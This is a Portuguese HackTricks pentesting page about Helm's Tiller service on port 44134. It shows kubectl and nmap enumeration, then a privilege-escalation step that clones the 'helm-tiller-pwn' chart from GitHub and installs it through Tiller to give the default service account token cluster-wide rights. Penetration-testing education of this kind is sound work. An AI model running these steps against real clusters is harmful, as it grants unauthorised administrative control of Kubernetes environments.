hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md
2024-12-12 13:56:11 +01:00

5.3 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Informações Básicas

Helm é o gerenciador de pacotes para Kubernetes. Ele permite empacotar arquivos YAML e distribuí-los em repositórios públicos e privados. Esses pacotes são chamados de Helm Charts. Tiller é o serviço executado por padrão na porta 44134 oferecendo o serviço.

Porta padrão: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Enumeração

Se você puder enumerar pods e/ou serviços de diferentes namespaces, enumere-os e procure aqueles com "tiller" no nome:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

Exemplos:

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

Você também pode tentar encontrar este serviço em execução verificando a porta 44134:

sudo nmap -sS -p 44134 <IP>

Uma vez que você o tenha descoberto, pode se comunicar com ele baixando o aplicativo cliente helm. Você pode usar ferramentas como homebrew, ou olhar na página oficial de lançamentos. Para mais detalhes, ou para outras opções, consulte o guia de instalação.

Então, você pode enumerar o serviço:

helm --host tiller-deploy.kube-system:44134 version

Escalada de Privilégios

Por padrão, Helm2 foi instalado no namespace kube-system com altos privilégios, então se você encontrar o serviço e tiver acesso a ele, isso pode permitir que você escalone privilégios.

Tudo o que você precisa fazer é instalar um pacote como este: https://github.com/Ruil1n/helm-tiller-pwn que dará ao token de serviço padrão acesso a tudo em todo o cluster.

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

Em http://rui0.cn/archives/1573 você tem a explicação do ataque, mas basicamente, se você ler os arquivos clusterrole.yaml e clusterrolebinding.yaml dentro de helm-tiller-pwn/pwnchart/templates/ você pode ver como todos os privilégios estão sendo dados ao token padrão.

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}